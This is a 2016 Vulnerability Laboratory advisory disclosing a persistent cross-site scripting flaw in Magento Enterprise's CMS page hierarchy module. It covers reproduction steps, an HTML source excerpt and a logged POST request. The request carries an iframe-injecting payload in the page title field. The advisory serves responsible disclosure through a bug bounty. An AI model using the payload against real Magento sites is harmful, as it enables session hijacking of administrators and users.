Document Title:
===============
Magento Bug Bounty #18 - Persistent Web Vulnerability


Date:
=====
2016-07-01


References:
===========
http://www.vulnerability-lab.com/get_content.php?id=1464

Magento Security ID: APPSEC-1051


VL-ID:
=====
1851


Common Vulnerability Scoring System:
====================================
3.5


Vulnerability Class:
====================
Cross Site Scripting - Persistent


Introduction:
=============
Magento is an open source e-commerce web application that was launched on March 31, 2008 under the name Bento. It was developed 
by Varien (now Magento, a division of eBay) with help from the programmers within the open source community but is now owned 
solely by eBay Inc. Magento was built using parts of the Zend Framework. It uses the entity-attribute-value (EAV) database model 
to store data. In November 2013, W3Techs estimated that Magento was used by 0.9% of all websites.

Our team of security professionals works hard to keep Magento customer information secure. What`s equally important to protecting 
this data? Our security researchers and user community. If you find a site that isn`t following our policies, or a vulnerability 
inside our system, please tell us right away.

( Copy of the Vendor Homepage: http://magento.com/security  &  http://magento.com/security )



Abstract:
=========
The Vulnerability Laboratory Core Research team discovered an application-side input validation web vulnerability in the magento enterprise online service web-application.


Report-Timeline:
================
2016-07-01: Public Disclosure (Vulnerability Laboratory)



Status:
========
Published


Affected Products:
==================
Magento
Product: Magento Imagine (Inquiries) - Online Service (Web-Application) v2016 Q2


Exploitation-Technique:
=======================
Remote


Severity:
=========
Medium


Details:
========
An application-side cross site scripting web vulnerability has been discovered in the official Magento Enterprise web-application.
The vulnerability allows remote attackers to inject own script code on the application-side of the affected application module.

Remote attackers are able to inject own script code to the `path to title` input of the Page Title - Path (Hierarchy) module in magentorial.
Remote attackers are able to inject in the vulnerable value own script code to compromise user/moderator/admin session data. The request 
method to inject is POST and the attack vector is located on the application-side of the affected module. The execution occurs in the 
path hierarchy module and the value to inject is path to title.

Exploitation of the persistent input validation web vulnerability requires a low privilege web-application user account and low or medium user interaction. 
Successful exploitation of the vulnerability results in session hijacking, persistent phishing attacks, persistent external redirects to malicious source 
and persistent manipulation of affected or connected application modules (api).

Vulnerable Service(s):
[+] Magento Enterprise
						
Vulnerable Module(s):
[+] Module Page Title - Path (Hierarchy)
						
Vulnerable Parameter(s):
[+] path to title


Proof of Concept:
=================
The vulnerability can be exploited by local attackers with low privilege web-application user account with low or medium user interaction.
For security demonstration or to reproduce follow the provided information and steps below to continue.

Manual steps to reproduce the vulnerability ...
1. Login to the magento enterprise service 
2. Go to CMS > Pages > Content
3. Click add new pages
4. Write in the Page Title the payload code (injection code)  save the page 
5. Click Hierarchy you can see the injection code execute `title Persistent Vulnerability`


PoC: Source
<li class="x-tree-node"><div class="x-tree-node-el cms_node_root  x-tree-node-expanded " id="extdd-1">
<span class="x-tree-node-indent"></span><img src="./test   iframe src= http   www.vulnerability-lab.com      Pages   CMS   
Magento Admin_files/spacer.gif" class="x-tree-ec-icon x-tree-elbow-end-minus" 
id="ext-gen20"><img src="./test   iframe src= http   www.vulnerability-lab.com      Pages   CMS   Magento Admin_files/spacer.gif" 
class="x-tree-node-icon" unselectable="on" id="ext-gen17"><input class="l-tcb" checked="" id="ext-gen21" type="checkbox"><a hidefocus="on" 
href="http://enterprise-admin.user.magentotrial.com/index.php/admin/cms_page/edit/page_id/15/key/d04c3aad32f5ae6a723eebbc976498be56b3de143943456340e6643d20a279c8/#" 
id="ext-gen14"><span unselectable="on" id="extdd-2">Website Root</span></a></div><ul class="x-tree-node-ct"><li class="x-tree-node"><div class="x-tree-node-el 
cms_page cms-current x-tree-node-leaf" id="extdd-3"><span class="x-tree-node-indent"><img src="./test   iframe src= http   www.vulnerability-lab.com      
Pages   CMS   Magento Admin_files/spacer.gif" class="x-tree-icon"></span><img src="./test   iframe src= http   www.vulnerability-lab.com      
Pages   CMS   Magento Admin_files/spacer.gif" class="x-tree-ec-icon x-tree-elbow-end" id="ext-gen28"><img src="./test   
iframe src= http   www.vulnerability-lab.com      Pages   CMS   Magento Admin_files/spacer.gif" class="x-tree-node-icon" unselectable="on" 
id="ext-gen25"><a hidefocus="on" href="http://enterprise-admin.user.magentotrial.com/index.php/admin/cms_page/edit/page_id/15/key/d04c3aad32f5ae6a723eebbc976498be56b3de143943456340e6643d20a279c8/#" 
tabindex="1" id="ext-gen22"><span unselectable="on" id="extdd-4">test"><iframe src="./test   iframe src= http   www.vulnerability-lab.com      
Pages   CMS   Magento Admin_files/saved_resource.html"></span></a></div><ul class="x-tree-node-ct" 
style="display:none;"></ul></li></iframe></span></a></div></li></ul></li>


--- PoC Session Logs [POST] ---

17:33:25.602[1076ms][total 1076ms] 
Status: 302[Moved Temporarily]

POST http://enterprise-admin.user.magentotrial.com/index.php/admin/cms_page/save/key/5d63b56b59732c9b8e27163717170f908149627e78b0355d646625ac25a7a353/ 
Load Flags[LOAD_DOCUMENT_URI  LOAD_INITIAL_DOCUMENT_URI  ] Content Size[-1] Mime Type[text/html]
   Request Headers:
      Host[enterprise-admin.user.magentotrial.com]
      User-Agent[Mozilla/5.0 (X11; Linux i686; rv:39.0) Gecko/20100101 Firefox/39.0]
      Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
      Accept-Language[en-US,en;q=0.5]
      Accept-Encoding[gzip, deflate]
      Referer[http://enterprise-admin.user.magentotrial.com/index.php/admin/cms_page/edit/page_id/15/key/b7d39c99cffb6aeeb665d0c5ee8b8bf47f5da8cb38fc136481d331de8d3c2e04/]
      Cookie[adminhtml=d7jt0cghnot4vouuocnkhcl8g7]
      X-Forwarded-For[8.8.8.8]
      Connection[keep-alive]
   Post Data:
      form_key[iPwt1pYCM6PikFZC]
      page_id[15]
      title[test%22%3E%3Ciframe+src%3D%22http%3A%2F%2Fwww.vulnerability-lab.com%2F%22%3E]
      identifier[test]
      stores%5B%5D[1]
      is_active[0]
      under_version_control[1]
      node_ids[]
      website_root[1]
      nodes_data[%7B%22_0%22%3A%7B%22node_id%22%3A%22_0%22%2C%22page_id%22%3A%2215%22%2C%22parent_node_id%22%3Anull%2C%22label%22%3A%22test%5C%22%3E%3Ciframe+src%3D%5C%22http%3A%2F%2Fwww.vulnerability-lab.com%2F%5C%22%3E%22%2C%22sort_order%22%3A0%2C%22current_page%22%3Atrue%7D%7D]
      page[1]
      limit[20]
      massaction[]
      label[]
      owner[]
      access_level[]
      revisions%5Bfrom%5D[]
      revisions%5Bto%5D[]
      created_at%5Bfrom%5D[]
      created_at%5Bto%5D[]
      created_at%5Blocale%5D[en_US]
   Response Headers:
      Server[nginx]
      Date[Tue, 04 Aug 2015 16:36:39 GMT]
      Content-Type[text/html; charset=UTF-8]
      Transfer-Encoding[chunked]
      Connection[keep-alive]
      Expires[Thu, 19 Nov 1981 08:52:00 GMT]
      Cache-Control[no-store, no-cache, must-revalidate, post-check=0, pre-check=0]
      Pragma[no-cache]
      Set-Cookie[adminhtml=d7jt0cghnot4vouuocnkhcl8g7; expires=Tue, 04-Aug-2015 17:36:38 GMT; path=/; domain=enterprise-admin.user.magentotrial.com; httponly]
      x-frame-options[SAMEORIGIN]
      P3p[CP="CAO PSA OUR"]
      Location[http://enterprise-admin.user.magentotrial.com/index.php/admin/cms_page/index/key/acec1f2538b7f2595abe144aa82e652fb4e51e40dab0b76d4761f0a612441975/]


Reference(s):
http://enterprise-admin.user.magentotrial.com/index.php/admin/cms_page/edit/page_id/15/key/d04c3aad32f5ae6a723eebbc976498be56b3de143943456340e6643d20a279c8/#



Risk:
=====
The security risk of the application-side input validation web vulnerability in the official magento enterprise web-application is estimated as medium.


Credits:
========
Vulnerability Laboratory [Research Team] - Hadji Samir [samir@evolution-sec.com]


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===========
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